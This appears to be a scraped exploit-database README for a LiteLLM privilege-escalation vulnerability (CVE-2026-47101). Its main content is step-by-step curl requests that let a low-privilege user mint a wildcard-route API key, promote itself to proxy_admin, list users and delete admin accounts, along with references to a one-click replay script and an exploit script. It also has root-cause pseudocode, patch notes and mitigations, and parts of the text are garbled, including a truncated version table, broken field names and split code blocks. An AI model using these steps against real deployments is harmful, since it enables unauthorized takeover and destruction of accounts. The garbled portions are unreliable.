Share
## https://sploitus.com/exploit?id=B89C55B6-BB97-51C5-8FE2-2043E73BE1A8
# CVE-2026-47101 β€” LiteLLM Privilege Escalation via `/key/generate` + `/user/update`

> **LiteLLM** v1.82.6 (v1.83.14 and earlier versions)’s `/key/generate` endpoint allows low-privilege `internal_user` to use an API key with wildcard routing `["/*"]`, followed by `/user/update`. This enables unauthorized privilege escalation by escalating the user’s role to `proxy_admin`. | Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-47101** |
| **CVSS v3.1** | **8.8 (HIGH)** β€” `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-863 (Incorrect Authorization) |
| **Affected** | LiteLLM **&1** | tail -10

The expected output should include logs indicating successful startup, such as β€œUvicorn running on http://0.0.0.0:4000”. ### Step 1: Create an `internal_user` account

Use the master key to create a low-privilege `internal_user` account:

```bash
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'
```

Expected output:

```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
```

Record the returned `user_id` and `key`, as these will be used in subsequent steps. ### Step 2: Generate an API key with wildcard routing

Call `/key/generate` as an `internal_user`, using an API key with wildcard routing `["/*"]":

```bash
# Replace sk-internal-user-key with the key obtained in step 1
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'
```

Expected output:

```json
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
```

> **Vulnerability**: The `internal_user` successfully generated an API key with wildcard routing `["/*"]`. This key allows access to all management endpoints, including `/user/update` and `/user/list`. ### Step 3: Escalate privileges to `proxy Admin`

Use the wildcarded API key to call `/user/update`, escalating the user’s role to `proxy_admin`:

```bash
curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
```

Expected output:

```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
```

> **Vulnerability**: The `user_role` has been changed from `internal_user` to `proxy_admin`. The `/user/update` endpoint allows users to modify their `user_role` field without any restrictions. ### Step 4: Verify admin access

Verify that the role escalation has taken effect by calling `/user/list`:

```bash
curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"
```

Expected output:

```json
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
```

The `/user/list` endpoint only allows access for the `proxy_admin` role. Successfully obtaining the user list confirms that the privilege escalation has worked. ### Step 5: Expansion β€” Delete admin users

Using the newly obtained `proxy_admin` privileges, you can delete any user using `/user/delete`:

```bash
curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'
```

Expected output:

```
1
```

---

### One-Click Replay

The above steps are compiled into a `demo.sh` script, which can be executed directly.

```bash
# Full reproduction (including steps 1-5)
bash demo.sh

# Test both the original and fixed versions simultaneously
bash demo.sh --fixed
```

---

## Verification of the Fixed Version

Run the fixed version (v1.83.14-stable) to verify that the vulnerabilities have been fixed:

```bash
# Run the fixed version
docker compose --profile fixed up -d litellm-fixed

# Wait for it to be ready
sleep 15
```

Create a `internal_user` account:

```bash
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key','')")

echo "Fixed user key: $FIXED_USER_KEY"
```

Try to generate a wildcard route key (expected to be blocked):

```bash
curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'
```

Expected output (the fixed version blocks unauthorized requests):

```json
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
```

Compare with the vulnerable version:

| Test Scenario | Vulnerable Version (v1.82.6) | Fixed Version (v1.83.14) |
|--------------|-------------------------|-------------------------|
| Requesting `internal_user` with `["/*"]` | βœ… New wildcard key generated | ❌ Blocked (HTTP 403) |
| Using the wildcard key to change `user_role` | βœ… Successfully promoted to `proxy_admin` | ❌ Blocked |
| Using the wildcard key to access `/user/list` | βœ… User list successfully retrieved | ❌ Blocked |
```

---

## Vulnerable Endpoints

### `POST /key/generate`

Generates a new API key. The `allowed_routes` parameter is used to limit the list of endpoints that the key can access. | Field | Type | Required | Description |
| `-->` | array | No | List of allowed routes, e.g., `["/*"]` indicates all routes |
### `POST /user/update`

Updates user properties, including the `user_role` field. | Field | Type | Required | Description |
| `-->` | string | Yes | ID of the user to be updated |
| `-->` | string | Yes | New role (e.g., `proxy_admin`) |

---

## Exploitation Technique

### Step 1: Generate a wildcard route key

As `internal_user`, call `/key/generate` with a key containing `["/*"]`:

```json
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}
```

The response includes a new API key, which has wildcard route access permissions. ### Step 2: Promote the role to `proxy_admin`

Use the wildcard key to call `/user/update`:

```json
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}
```

### Step 3: Verify admin permissions

```json
GET /user/list
Authorization: Bearer sk-wildcard-key
```

---

## Root Cause Analysis

The root cause of the vulnerability lies in three missing authorization checks:

### 1. `/key/generate` – Missing role validation for `allowed_routes` parameter

The `/key/generate` endpoint accepts the `allowed_routes` parameter and directly associates it with the key. **No role validation is performed.** Even `internal_user` can request admin-level route permissions. ```python
# Vulnerable code β€” No role validation
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # Only validates the API key’s validity
    # No check if `user_role` allows the requested `allowed_routes`
    allowed_routes = params.get("allowed_routes", [])

```python
new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}
```

### 2. Routing authorization reverts to checking `allowed_routes` wildcard matches

When the middleware checks routing permissions, if the role-based authorization check fails, it **reverts to checking the `allowed_routes` list of the API key**. Since `["/*"]` matches all routes, all management endpoints are allowed. ```python
# Vulnerable pseudocode β€” Revert to checking routing
async def authorize_request(request, api_key):
    # Revert to checking `allowed_routes` if role check fails
    if not user_role_authorized(request, api_key.user):
        # Check `allowed_routes` β€” ["/*"] matches all routes
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200
```

### 3. `/user/update` β€” Allows users to modify their `user_role`

The `/user/update` endpoint allows users to update their user attributes. **Users are allowed to modify their own `user_role` field**, without any restrictions. Only the `proxy_admin` role should have the authority to modify user roles. ```python
# Vulnerable pseudocode β€” No restrictions on modifying `user_role`
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # No permission checks! Update user in the database
    return {"user_id": user_id, "data": updates}
```

---

## Patch Analysis (v1.83.14)

The patch adds authorization checks in the following areas:

1. `/key/generate` – Adds validation for the `allowed_routes` parameter: Regular users cannot request administrator-level routing permissions.
2. **Routing authorization** – Fixed the revert logic to ensure that role-based checks have higher priority than `allowed_routes`.
3. `/user/update` – Restricted the permission to modify the `user_role` field: Only `proxy_admin` can modify user roles.

---

## Repository Structure

```
CVE-2026-47101/
β”œβ”€β”€ README.md                               # This file
β”œβ”€β”€ CVE-2026-47101_ReproductionReport.docx          # Reproduction report (Chinese)
β”œβ”€β”€ docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
β”œβ”€β”€ config.yaml                             # LiteLLM config with database connection
β”œβ”€β”€ requirements.txt                        # Python dependencies
β”œβ”€β”€ demo.sh                                 # One-click reproduction script
β”œβ”€β”€ exploit/
β”‚   β”œβ”€β”€ exploit.py                          # Python exploit script
β”‚   └── payload.py                          # Payload builders
β”œβ”€β”€ docs/
└── screenshots/
```

---

## Mitigation

1. **Upgrade** to LiteLLM **v1.83.14+** (authorized authorization checks fixed).
2. **Restrict** API key privileges – enforce least privilege for `allowed_routes`.
3. **Audit** existing users and keys for signs of privilege escalation.
4. **Monitor** `/user/update` calls involving changes to `user_role` for abnormal activities.

---

## References

- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47101)
- [GitHub Security Advisory](https://github.com/BerriAI/litellm/security/advisories)
- [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)

---

> **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**

[source-iocs-preserved url=http://0.0.0.0:4000`]